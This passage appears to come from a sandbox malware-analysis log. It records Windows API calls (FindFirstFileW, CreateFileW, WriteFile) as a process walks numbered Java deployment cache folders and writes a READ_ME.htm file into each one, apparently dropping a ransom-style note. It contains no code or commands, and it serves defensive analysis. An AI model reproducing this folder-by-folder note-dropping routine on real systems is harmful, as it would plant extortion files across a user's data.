ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.608] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.608] SetErrorMode (uMode=0x0) returned 0x1 [0147.608] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\27", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\27", lpFilePart=0x0) returned 0x44 [0147.609] SetErrorMode (uMode=0x1) returned 0x0 [0147.609] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\27\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\27\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.609] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.609] SetErrorMode (uMode=0x0) returned 0x1 [0147.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\27\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\27\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.609] SetErrorMode (uMode=0x1) returned 0x0 [0147.609] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\27\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\27\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.610] SetErrorMode (uMode=0x0) returned 0x1 [0147.610] GetFileType (hFile=0x1d0) returned 0x1 [0147.610] WriteFile (in: hFile=0x1d0, lpBuffer=0x29aa768*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29aa768*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.612] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\28", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\28", lpFilePart=0x0) returned 0x44 [0147.612] SetErrorMode (uMode=0x1) returned 0x0 [0147.612] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\28\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\28\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.614] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.614] SetErrorMode (uMode=0x0) returned 0x1 [0147.615] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\28", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\28", lpFilePart=0x0) returned 0x44 [0147.615] SetErrorMode (uMode=0x1) returned 0x0 [0147.615] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\28\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\28\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.615] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.615] SetErrorMode (uMode=0x0) returned 0x1 [0147.615] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\28\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\28\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.615] SetErrorMode (uMode=0x1) returned 0x0 [0147.616] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\28\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\28\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.616] SetErrorMode (uMode=0x0) returned 0x1 [0147.616] GetFileType (hFile=0x1d0) returned 0x1 [0147.616] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b0660*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29b0660*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.618] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\29", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\29", lpFilePart=0x0) returned 0x44 [0147.618] SetErrorMode (uMode=0x1) returned 0x0 [0147.618] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\29\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\29\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.618] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.619] SetErrorMode (uMode=0x0) returned 0x1 [0147.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\29", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\29", lpFilePart=0x0) returned 0x44 [0147.619] SetErrorMode (uMode=0x1) returned 0x0 [0147.619] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\29\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\29\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.619] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.619] SetErrorMode (uMode=0x0) returned 0x1 [0147.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\29\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\29\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.620] SetErrorMode (uMode=0x1) returned 0x0 [0147.620] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\29\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\29\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.621] SetErrorMode (uMode=0x0) returned 0x1 [0147.621] GetFileType (hFile=0x1d0) returned 0x1 [0147.621] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b6558*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29b6558*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.623] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\3", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\3", lpFilePart=0x0) returned 0x43 [0147.623] SetErrorMode (uMode=0x1) returned 0x0 [0147.623] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\3\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\3\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.623] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.624] SetErrorMode (uMode=0x0) returned 0x1 [0147.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\3", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\3", lpFilePart=0x0) returned 0x43 [0147.624] SetErrorMode (uMode=0x1) returned 0x0 [0147.624] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\3\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\3\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.624] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.624] SetErrorMode (uMode=0x0) returned 0x1 [0147.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\3\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\3\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0147.625] SetErrorMode (uMode=0x1) returned 0x0 [0147.625] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\3\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\3\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.625] SetErrorMode (uMode=0x0) returned 0x1 [0147.625] GetFileType (hFile=0x1d0) returned 0x1 [0147.625] WriteFile (in: hFile=0x1d0, lpBuffer=0x29bc420*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29bc420*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.627] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\30", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\30", lpFilePart=0x0) returned 0x44 [0147.627] SetErrorMode (uMode=0x1) returned 0x0 [0147.627] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\30\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\30\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.627] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.628] SetErrorMode (uMode=0x0) returned 0x1 [0147.628] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\30", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\30", lpFilePart=0x0) returned 0x44 [0147.628] SetErrorMode (uMode=0x1) returned 0x0 [0147.628] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\30\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\30\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.628] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.628] SetErrorMode (uMode=0x0) returned 0x1 [0147.628] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\30\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\30\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.629] SetErrorMode (uMode=0x1) returned 0x0 [0147.629] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\30\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\30\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.629] SetErrorMode (uMode=0x0) returned 0x1 [0147.629] GetFileType (hFile=0x1d0) returned 0x1 [0147.629] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c2318*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29c2318*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.631] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\31", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\31", lpFilePart=0x0) returned 0x44 [0147.631] SetErrorMode (uMode=0x1) returned 0x0 [0147.631] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\31\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\31\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.631] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.632] SetErrorMode (uMode=0x0) returned 0x1 [0147.632] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\31", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\31", lpFilePart=0x0) returned 0x44 [0147.632] SetErrorMode (uMode=0x1) returned 0x0 [0147.632] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\31\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\31\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.632] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.632] SetErrorMode (uMode=0x0) returned 0x1 [0147.632] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\31\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\31\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.633] SetErrorMode (uMode=0x1) returned 0x0 [0147.633] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\31\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\31\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.633] SetErrorMode (uMode=0x0) returned 0x1 [0147.633] GetFileType (hFile=0x1d0) returned 0x1 [0147.633] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c8210*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29c8210*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.635] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\32", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\32", lpFilePart=0x0) returned 0x44 [0147.635] SetErrorMode (uMode=0x1) returned 0x0 [0147.635] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\32\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\32\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.637] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.637] SetErrorMode (uMode=0x0) returned 0x1 [0147.638] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\32", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\32", lpFilePart=0x0) returned 0x44 [0147.638] SetErrorMode (uMode=0x1) returned 0x0 [0147.638] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\32\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\32\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.638] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.638] SetErrorMode (uMode=0x0) returned 0x1 [0147.638] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\32\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\32\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.638] SetErrorMode (uMode=0x1) returned 0x0 [0147.639] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\32\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\32\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.640] SetErrorMode (uMode=0x0) returned 0x1 [0147.640] GetFileType (hFile=0x1d0) returned 0x1 [0147.640] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ce108*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29ce108*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.641] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\33", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\33", lpFilePart=0x0) returned 0x44 [0147.642] SetErrorMode (uMode=0x1) returned 0x0 [0147.642] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\33\\*" (normalized: 